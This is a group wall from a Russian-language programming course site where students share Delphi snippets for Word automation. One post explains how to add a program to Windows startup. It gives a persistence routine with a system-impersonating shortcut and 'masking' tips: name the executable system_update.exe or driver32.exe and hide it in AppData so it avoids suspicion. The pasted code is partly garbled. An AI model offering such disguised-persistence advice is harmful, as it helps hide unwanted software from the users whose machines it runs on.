0
4 месяца назад

Горизонт Горизонт

Основная информация

Время обучения: Суббота 11.40-13.40
Дополнительное занятие: Вторник 17.20 

Стена группы

Нойз 17 дней назад #

как фиксить

Изображение

Игнат 1 месяц назад #

ИзображениеИзображениекак это чинить

1 ответ
Даниил К 1 месяц назад #

procedure ReplaceTextInWordDocument(const FileName, FindText, ReplaceText: string);
const
  wdReplaceAll = 2;
var
  WordApp, WordDoc, Find: OleVariant;
begin
  WordApp := CreateOleObject('Word.Application');
  try
    WordApp.Visible := False; // Или True — если нужно видеть процесс

    // Открытие документа
    WordDoc := WordApp.Documents.Open(FileName);

    // Получаем Find у всего содержимого документа
    Find := WordDoc.Content.Find;
    Find.ClearFormatting;
    Find.Replacement.ClearFormatting;

    // Настройка текста для поиска и замены
    Find.Text := FindText;
    Find.Replacement.Text := ReplaceText;

    // Выполнение замены
    Find.Execute(Replace := wdReplaceAll);

    // Сохраняем и закрываем документ
    WordDoc.Save;
    WordDoc.Close(False);
  finally
    WordApp.Quit;
  end;
end;

Даниил К 1 месяц назад #

Папка автозагрузки Windows (для текущего пользователя):

mathematica
КопироватьРедактировать
  1. <span class="hljs-built_in">C</span><span class="hljs-operator">:</span>\<span class="hljs-variable">Users</span>\<span class="hljs-operator"><</span>Имя<span class="hljs-type">_</span>Пользователя<span class="hljs-operator">></span>\<span class="hljs-variable">AppData</span>\<span class="hljs-variable">Roaming</span>\<span class="hljs-variable">Microsoft</span>\<span class="hljs-variable">Windows</span>\<span class="hljs-variable">Start</span> <span class="hljs-built_in">Menu</span>\<span class="hljs-variable">Programs</span>\<span class="hljs-variable">Startup</span>
  2.  

Или проще:

  • Нажми

    1. Win + R
    → введи
    1. shell:startup
    → Enter

  • Откроется нужная папка


🔨 2. Как добавить программу в автозагрузку?

Способ 1 — вручную:

  1. Скомпилируй проект (получи

    1. .exe
    )

  2. Создай ярлык

    1. .lnk
    к твоему
    1. .exe

  3. Помести ярлык в папку

    1. Startup


Способ 2 — программно (из Delphi):

Если хочешь, чтобы Delphi-программа сама себя добавляла в автозапуск при первом запуске:

pascal
КопироватьРедактировать
  1. uses
  2. ShlObj, ActiveX, ComObj;
  3.  
  4. procedure AddToStartup;
  5. var
  6. StartupFolder, ShortcutPath: string;
  7. ShellLink: IShellLink;
  8. PersistFile: IPersistFile;
  9. begin
  10. // Путь к папке автозагрузки
  11. SetLength(StartupFolder, MAX_PATH);
  12. SHGetSpecialFolderPath(0, PChar(StartupFolder), CSIDL_STARTUP, False);
  13.  
  14. // Путь к ярлыку
  15. ShortcutPath := IncludeTrailingPathDelimiter(StartupFolder) + 'system_update.lnk';
  16.  
  17. // Создаём ярлык
  18. ShellLink := CreateComObject(CLSID_ShellLink) as IShellLink;
  19. ShellLink.SetPath(PChar(ParamStr(0))); // путь к exe
  20. ShellLink.SetDescription('System update');
  21.  
  22. // Сохраняем ярлык
  23. PersistFile := ShellLink as IPersistFile;
  24. PersistFile.Save(PWideChar(WideString(ShortcutPath)), False);
  25.  

Вызови

  1. AddToStartup;
в
  1. FormCreate
, только один раз (чтобы не дублировалось).


✅ Советы по маскировке:

  • Назови файл как

    1. system_update.exe
    ,
    1. driver32.exe
    ,
    1. win_update.exe
    — чтобы не вызывало подозрений.

  • Можно спрятать EXE в

    1. AppData
     и ярлык назвать по-системному.

АрсКодер 1 месяц назад #
procedure TForm1.Button2Click(Sender: TObject);
var
  WordApp, Document, Paragraphs, Paragraph: Variant;
  i: Integer;
  OldText, NewText: string;
begin
  OldText := 'city';
  NewText := 'Арсеньев';
 
  try
    WordApp := CreateOleObject('Word.Application');
    WordApp.Visible := True;
 
    // Открываем документ
    Document := WordApp.Documents.Open('D:\Temp\шаблон.docx');
 
    // Получаем коллекцию абзацев
    Paragraphs := Document.Paragraphs;
 
    // Перебираем каждый абзац и заменяем текст вручную
    for i := 1 to Paragraphs.Count do
    begin
      Paragraph := Paragraphs.Item(i);
      Paragraph.Range.Text := StringReplace(Paragraph.Range.Text, OldText, NewText, [rfReplaceAll, rfIgnoreCase]);
    end;
 
    // Сохраняем и закрываем
    Document.Save;
    Document.Close(False);
    WordApp.Quit;
  except
    on E: Exception do
      ShowMessage('Ошибка: ' + E.Message);
  end;
 
end;
 
Показать все
Сайт АрсКодер использует cookie 🍪.